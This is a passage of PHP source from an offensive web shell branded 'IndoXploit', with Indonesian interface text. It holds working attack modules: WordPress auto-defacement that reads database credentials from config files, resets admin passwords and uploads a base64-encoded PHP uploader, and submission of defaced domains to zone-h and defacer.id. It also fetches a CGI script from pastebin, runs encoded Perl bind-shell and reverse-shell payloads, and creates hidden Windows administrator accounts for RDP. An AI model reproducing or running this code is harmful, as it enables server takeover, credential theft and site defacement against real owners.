					echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
				} else {
					echo "<font color=lime>sukses di ganti.</font><br>";
				}
				echo "</div>";
				mysql_close($conn);
			}
		}
	} else {
		echo "<center>
		<h1>Auto Edit Title+Content WordPress</h1>
		<form method='post'>
		DIR Config: <br>
		<input type='text' size='50' name='config_dir' value='$dir'><br><br>
		Set Title: <br>
		<input type='text' name='new_title' value='Hacked by IndoXploit' placeholder='New Title'><br><br>
		Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
		<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
		<textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
		<input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
		</form>
		<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
		";
	}
} elseif($_GET['do'] == 'zoneh') {
	if($_POST['submit']) {
		$domain = explode("
", $_POST['url']);
		$nick =  $_POST['nick'];
		echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
		echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
		function zoneh($url,$nick) {
			$ch = curl_init("http://www.zone-h.com/notify/single");
				  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
				  curl_setopt($ch, CURLOPT_POST, true);
				  curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
			return curl_exec($ch);
				  curl_close($ch);
		}
		foreach($domain as $url) {
			$zoneh = zoneh($url,$nick);
			if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
				echo "$url -> <font color=lime>OK</font><br>";
			} else {
				echo "$url -> <font color=red>ERROR</font><br>";
			}
		}
	} else {
		echo "<center><form method='post'>
		<u>Defacer</u>: <br>
		<input type='text' name='nick' size='50' value='IndoXploit'><br>
		<u>Domains</u>: <br>
		<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
		<input type='submit' name='submit' value='Submit' style='width: 450px;'>
		</form>";
	}
	echo "</center>";

} elseif($_GET['do'] == 'defid') {
	echo "<form method='POST' action='' align='center'>
Attacker : <br><input type='text' name='nick' placeholder='Xmall75' style='height: 33px; width: 250px'><br>
Team : <br><input type='text' name='team' placeholder='Security Cyber Art' style='height: 33px; width: 250px'><br>
Sites : <br><textarea class='form-control' name='sites' placeholder='http://site.com/' style='height: 150px; width: 250px'></textarea><br>
<input type='submit' name='sikat' value='Submit!!'>
</form>
</html>";
ini_set('display_errors', 0);
error_reporting(0);
$nick = $_POST['nick'];
$team = $_POST['team'];
$sikat = $_POST['sikat'];
$url = explode("
", $_POST['sites']);
if($sikat){
echo "Notify with nick [ ".$nick." ] and With Team [ ".$team." ] <br>";
function defid($url,$nick,$team) {
$ch = curl_init("https://defacer.id/archives/notify");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "attacker=$nick&team=$team&poc=SQL Injection&url=$url");
return curl_exec($ch);
curl_close($ch);
}
foreach($url as $url) {
$defid = defid($url,$nick,$team);
if(preg_match('#<div class="success-box">#', $defid)) {
echo "OK -> ".$url."<br>";
} else {
echo "Error -> ".$url."<br>";
	}
}
} 
} elseif($_GET['do'] == 'reverseip') {

	function s57_curl($domen){
	$c = curl_init();
	$curl = array(
		CURLOPT_URL=>"http://viewdns.info/reverseip/?host=".$domen."&t=1",
		CURLOPT_USERAGENT=>"User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
		CURLOPT_RETURNTRANSFER=>1,
		CURLOPT_SSL_VERIFYPEER=>0,
		CURLOPT_HEADER=>0,
		CURLOPT_FOLLOWLOCATION=>1);
	curl_setopt_array($c,$curl);
	$e = curl_exec($c);
	curl_close($c);
	return $e;
}
function s57_p($pemisah,$string){
    return explode(chr(1),str_replace($pemisah,chr(1),$string));
}

echo "<form method='post'>
	<center><input class='text' type='text' name='domain' placeholder='IP/Domain' style='width: 250px; height: 33px;'><input class='submit' type='submit' name='sbmt' style='color: lime; width: 30px; height: 33px;' value='>>'>
	<br><span style='font-size: 17px;'> Masukin site tanpa http atau https </span></form>";

	if(isset($_POST['sbmt'])){
echo "Result for : " .$_POST['domain'];
$r = s57_p(array('<table border="1">','<table width="1000" border="0">'),s57_curl($_POST['domain']));
echo "<table border=1>";
echo $r[1];
echo "</table></center>";
}

} elseif($_GET['do'] == 'cgi') {
	$cgi_dir = mkdir('idx_cgi', 0755);
	$file_cgi = "idx_cgi/cgi.izo";
	$isi_htcgi = "AddHandler cgi-script .izo";
	$htcgi = fopen(".htaccess", "w");
	fwrite($htcgi, $isi_htcgi);
	fclose($htcgi);
	$cgi_script = getsource("http://pastebin.com/raw/Lj46KxFT");
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, $cgi_script);
	fclose($cgi);
	chmod($file_cgi, 0755);
	echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
} elseif($_GET['do'] == 'fake_root') {
	ob_start();
	$cwd = getcwd();
	$ambil_user = explode("/", $cwd);
	$user = $ambil_user[2];
	if($_POST['reverse']) {
		$site = explode("
", $_POST['url']);
		$file = $_POST['file'];
		foreach($site as $url) {
			$cek = getsource("$url/~$user/$file");
			if(preg_match("/hacked/i", $cek)) {
				echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
			}
		}
	} else {
		echo "<center><form method='post'>
		Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
		User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
		Domain: <br>
		<textarea style='width: 450px; height: 250px;' name='url'>";
		reverse($_SERVER['HTTP_HOST']);
		echo "</textarea><br>
		<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
		</form><br>
		NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
	}

} elseif($_GET['do'] == 'hasher') {
 $submit = $_POST['go'];
   
 if (isset($submit)) {
     
    $pass = $_POST['password']; // password  
    $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
    $hash = md5($pass); // md5 hash
	$md2 = hash('md2',$_POST['password']); // md2 hash
    $md4 = hash("md4", $pass); // md4
    $hash_md5 = md5($salt . $pass); // md5 hash with salt
    $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1
    $hash1 = sha1($pass); // sha1 hash
    $sha256 = hash("sha256", $text); // sha256
    $sha384 = hash('sha384',$_POST['password']); // sha384
    $sha512 = hash('sha512',$_POST['password']); // sha512
    $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt
    $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5
     
   
    }
   echo '<form action="" method="post"><b> ';
 
   echo " <font color='lime'> Kata : ";
   echo "<br>";
   echo ' <input type="text" name="password" size="50" />';
   echo '<input type="submit" name="go" value=">>" />';
   echo ' <br>';
   echo ' <h2>Hasil Hash</h2></th></center></tr>';
   echo '<br>';
   echo ' Original Password <br> <input class=inputz type=text size=50 value=' . $pass . '> <br><br>';
   echo ' MD5 <br> <input class=inputz type=text size=50 value=' . $hash . '> <br><br>';
   echo ' MD2 <br> <input class=inputz type=text size=50 value=' . $md2 . '> <br><br>';
   echo ' MD4 <br> <input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';
   echo ' MD5 with Salt <br> <input class=inputz type=text size=50 value=' . $hash_md5 . '> <br><br>';
   echo ' MD5 with Salt & Sha1 <br> <input class=inputz type=text size=50 value=' . $hash_md5_double . '> <br><br>';
   echo ' Sha1 <br> <input class=inputz type=text size=50 value=' . $hash1 . '> <br><br>';
   echo ' Sha256 <br> <input class=inputz type=text size=50 value=' . $sha256 . '> <br><br>';
   echo ' Sha384 <br> <input class=inputz type=text size=50 value=' . $sha384 . '> <br><br>';
   echo ' Sha512 <br> <input class=inputz type=text size=50 value=' . $sha512 . '> <br><br>';
   echo ' Sha1 with Salt <br> <input class=inputz type=text size=50 value=' . $hash1_sha1 . '> <br><br>';
   echo ' Sha1 with Salt & MD5 <br> <input class=inputz type=text size=50 value=' . $hash1_sha1_double . '> </font><br><br>';

} elseif($_GET['do'] == 'adminer') {
	$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
	function adminer($url, $isi) {
		$fp = fopen($isi, "w");
		$ch = curl_init();
		 	  curl_setopt($ch, CURLOPT_URL, $url);
		 	  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		   	  curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		   	  curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	}
	if(file_exists('adminer.php')) {
		echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
	} else {
		if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
			echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
		} else {
			echo "<center><font color=red>gagal buat file adminer</font></center>";
		}
	}
} elseif($_GET['do'] == 'auto_dwp') {
	if($_POST['auto_deface_wp']) {
		function anucurl($sites) {
    		$ch = curl_init($sites);
	       		  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	       		  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	       		  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
	       		  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
	       		  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	       		  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	       		  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
	       		  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
	       		  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
			$data = curl_exec($ch);
				  curl_close($ch);
			return $data;
		}
		function lohgin($cek, $web, $userr, $pass, $wp_submit) {
    		$post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
			$ch = curl_init($cek);
				  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
				  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
				  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
				  curl_setopt($ch, CURLOPT_POST, 1);
				  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
				  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
				  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
				  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
			$data = curl_exec($ch);
				  curl_close($ch);
			return $data;
		}
		$scan = $_POST['link_config'];
		$link_config = scandir($scan);
		$script = htmlspecialchars($_POST['script']);
		$user = "indoxploit";
		$pass = "indoxploit";
		$passx = md5($pass);
		foreach($link_config as $dir_config) {
			if(!is_file("$scan/$dir_config")) continue;
			$config = file_get_contents("$scan/$dir_config");
			if(preg_match("/WordPress/", $config)) {
				$dbhost = ambilkata($config,"DB_HOST', '","'");
				$dbuser = ambilkata($config,"DB_USER', '","'");
				$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
				$dbname = ambilkata($config,"DB_NAME', '","'");
				$dbprefix = ambilkata($config,"table_prefix  = '","'");
				$prefix = $dbprefix."users";
				$option = $dbprefix."options";
				$conn = mysql_connect($dbhost,$dbuser,$dbpass);
				$db = mysql_select_db($dbname);
				$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
				$result = mysql_fetch_array($q);
				$id = $result[ID];
				$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
				$result2 = mysql_fetch_array($q2);
				$target = $result2[option_value];
				if($target == '') {					
					echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
				} else {
					echo "[+] $target <br>";
				}
				$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
				if(!$conn OR !$db OR !$update) {
					echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
					mysql_close($conn);
				} else {
					$site = "$target/wp-login.php";
					$site2 = "$target/wp-admin/theme-install.php?upload";
					$b1 = anucurl($site2);
					$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
					$b = lohgin($site, $site2, $user, $pass, $wp_sub);
					$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
					$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
					$www = "m.php";
					$fp5 = fopen($www,"w");
					fputs($fp5,$upload3);
					$post2 = array(
							"_wpnonce" => "$anu2",
							"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
							"themezip" => "@$www",
							"install-theme-submit" => "Install Now",
							);
					$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
						  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
						  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
						  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
						  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
						  curl_setopt($ch, CURLOPT_POST, 1);
						  curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
						  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
						  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
					      curl_setopt($ch, CURLOPT_COOKIESESSION, true);
					$data3 = curl_exec($ch);
						  curl_close($ch);
					$y = date("Y");
					$m = date("m");
					$namafile = "id.php";
					$fpi = fopen($namafile,"w");
					fputs($fpi,$script);
					$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
						   curl_setopt($ch6, CURLOPT_POST, true);
						   curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
						   curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
						   curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
	       		  		   curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
	       		  		   curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
					$postResult = curl_exec($ch6);
						   curl_close($ch6);
					$as = "$target/k.php";
					$bs = anucurl($as);
					if(preg_match("#$script#is", $bs)) {
            	       	echo "[+] <font color='lime'>berhasil mepes...</font><br>";
            	       	echo "[+] <a href='$as' target='_blank'>$as</a><br><br>"; 
            	        } else {
            	        echo "[-] <font color='red'>gagal mepes...</font><br>";
            	        echo "[!!] coba aja manual: <br>";
            	        echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
            	        echo "[+] username: <font color=lime>$user</font><br>";
            	        echo "[+] password: <font color=lime>$pass</font><br><br>";     
            	        }
            		mysql_close($conn);
				}
			}
		}
	} else {
		echo "<center><h1>WordPress Auto Deface</h1>
		<form method='post'>
		<input type='text' name='link_config' size='50' height='10' value='$dir'><br>
		<input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
		<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
		</form>
		<br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
		</center>";
	}
} elseif($_GET['do'] == 'auto_dwp2') {
	if($_POST['auto_deface_wp']) {
		function anucurl($sites) {
    		$ch = curl_init($sites);
	       		  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	       		  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	       		  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
	       		  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
	       		  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	       		  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	       		  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
	       		  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
	       		  curl_setopt($ch, CURLOPT_COOKIESESSION,true);
			$data = curl_exec($ch);
				  curl_close($ch);
			return $data;
		}
		function lohgin($cek, $web, $userr, $pass, $wp_submit) {
    		$post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
			$ch = curl_init($cek);
				  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
				  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
				  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
				  curl_setopt($ch, CURLOPT_POST, 1);
				  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
				  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
				  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
				  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
			$data = curl_exec($ch);
				  curl_close($ch);
			return $data;
		}
		$link = explode("
", $_POST['link']);
		$script = htmlspecialchars($_POST['script']);
		$user = "indoxploit";
		$pass = "indoxploit";
		$passx = md5($pass);
		foreach($link as $dir_config) {
			$config = anucurl($dir_config);
			$dbhost = ambilkata($config,"DB_HOST', '","'");
			$dbuser = ambilkata($config,"DB_USER', '","'");
			$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
			$dbname = ambilkata($config,"DB_NAME', '","'");
			$dbprefix = ambilkata($config,"table_prefix  = '","'");
			$prefix = $dbprefix."users";
			$option = $dbprefix."options";
			$conn = mysql_connect($dbhost,$dbuser,$dbpass);
			$db = mysql_select_db($dbname);
			$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
			$result = mysql_fetch_array($q);
			$id = $result[ID];
			$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
			$result2 = mysql_fetch_array($q2);
			$target = $result2[option_value];
			if($target == '') {					
				echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
			} else {
				echo "[+] $target <br>";
			}
			$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
			if(!$conn OR !$db OR !$update) {
				echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
				mysql_close($conn);
			} else {
				$site = "$target/wp-login.php";
				$site2 = "$target/wp-admin/theme-install.php?upload";
				$b1 = anucurl($site2);
				$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
				$b = lohgin($site, $site2, $user, $pass, $wp_sub);
				$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
				$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
				$www = "m.php";
				$fp5 = fopen($www,"w");
				fputs($fp5,$upload3);
				$post2 = array(
						"_wpnonce" => "$anu2",
						"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
						"themezip" => "@$www",
						"install-theme-submit" => "Install Now",
						);
				$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
					  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
					  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
					  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
					  curl_setopt($ch, CURLOPT_POST, 1);
					  curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
					  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
					  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
				      curl_setopt($ch, CURLOPT_COOKIESESSION, true);
				$data3 = curl_exec($ch);
					  curl_close($ch);
				$y = date("Y");
				$m = date("m");
				$namafile = "id.php";
				$fpi = fopen($namafile,"w");
				fputs($fpi,$script);
				$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
					   curl_setopt($ch6, CURLOPT_POST, true);
					   curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
					   curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
					   curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
	       		  	   curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
	       		 	   curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
				$postResult = curl_exec($ch6);
					   curl_close($ch6);
				$as = "$target/k.php";
				$bs = anucurl($as);
				if(preg_match("#$script#is", $bs)) {
                   	echo "[+] <font color='lime'>berhasil mepes...</font><br>";
                   	echo "[+] <a href='$as' target='_blank'>$as</a><br><br>"; 
                    } else {
                    echo "[-] <font color='red'>gagal mepes...</font><br>";
                    echo "[!!] coba aja manual: <br>";
                    echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
                    echo "[+] username: <font color=lime>$user</font><br>";
                    echo "[+] password: <font color=lime>$pass</font><br><br>";     
                    }
            	mysql_close($conn);
			}
		}
	} else {
		echo "<center><h1>WordPress Auto Deface V.2</h1>
		<form method='post'>
		Link Config: <br>
		<textarea name='link' placeholder='http://target.com/pastigans_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
		<input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
		<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
		</form></center>";
	}
} elseif($_GET['do'] == 'network') {
	echo "<form method='post'>
	<u>Bind Port:</u> <br>
	PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
	<input type='submit' name='sub_bp' value='>>'>
	</form>
	<form method='post'>
	<u>Back Connect:</u> <br>
	Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
	PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
	<input type='submit' name='sub_bc' value='>>'>
	</form>";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	if(isset($_POST['sub_bp'])) {
		$f_bp = fopen("/tmp/bp.pl", "w");
		fwrite($f_bp, base64_decode($bind_port_p));
		fclose($f_bp);

		$port = $_POST['port_bind'];
		$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
		sleep(1);
		echo "<pre>".$out."
".exe("ps aux | grep bp.pl")."</pre>";
		unlink("/tmp/bp.pl");
	}
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	if(isset($_POST['sub_bc'])) {
		$f_bc = fopen("/tmp/bc.pl", "w");
		fwrite($f_bc, base64_decode($bind_connect_p));
		fclose($f_bc);

		$ipbc = $_POST['ip_bc'];
		$port = $_POST['port_bc'];
		$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
		sleep(1);
		echo "<pre>".$out."
".exe("ps aux | grep bc.pl")."</pre>";
		unlink("/tmp/bc.pl");
	}
} elseif($_GET['do'] == 'krdp_shell') {
	if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
		if($_POST['create']) {
			$user = htmlspecialchars($_POST['user']);
			$pass = htmlspecialchars($_POST['pass']);
			if(preg_match("/$user/", exe("net user"))) {
				echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
			} else {
				$add_user   = exe("net user $user $pass /add");
    			$add_groups1 = exe("net localgroup Administrators $user /add");
    			$add_groups2 = exe("net localgroup Administrator $user /add");
    			$add_groups3 = exe("net localgroup Administrateur $user /add");
    			echo "[ RDP ACCOUNT INFO ]<br>
    			------------------------------<br>
    			IP: <font color=lime>".$ip."</font><br>
    			Username: <font color=lime>$user</font><br>
    			Password: <font color=lime>$pass</font><br>
    			------------------------------<br><br>
    			[ STATUS ]<br>
    			------------------------------<br>
    			";
    			if($add_user) {
    				echo "[add user] -> <font color='lime'>Berhasil</font><br>";
    			} else {
    				echo "[add user] -> <font color='red'>Gagal</font><br>";
    			}
    			if($add_groups1) {
        			echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
    			} elseif($add_groups2) {
        		    echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
    			} elseif($add_groups3) { 
        		    echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
    			} else {
    				echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
    			}
    			echo "------------------------------<br>";
			}
		} elseif($_POST['s_opsi']) {
			$user = htmlspecialchars($_POST['r_user']);
			if($_POST['opsi'] == '1') {
				$cek = exe("net user $user");
				echo "Checking username <font color=lime>$user</font> ....... ";
				if(preg_match("/$user/", $cek)) {
					echo "[ <font color=lime>Sudah ada</font> ]<br>
					------------------------------<br><br>
					<pre>$cek</pre>";
				} else {
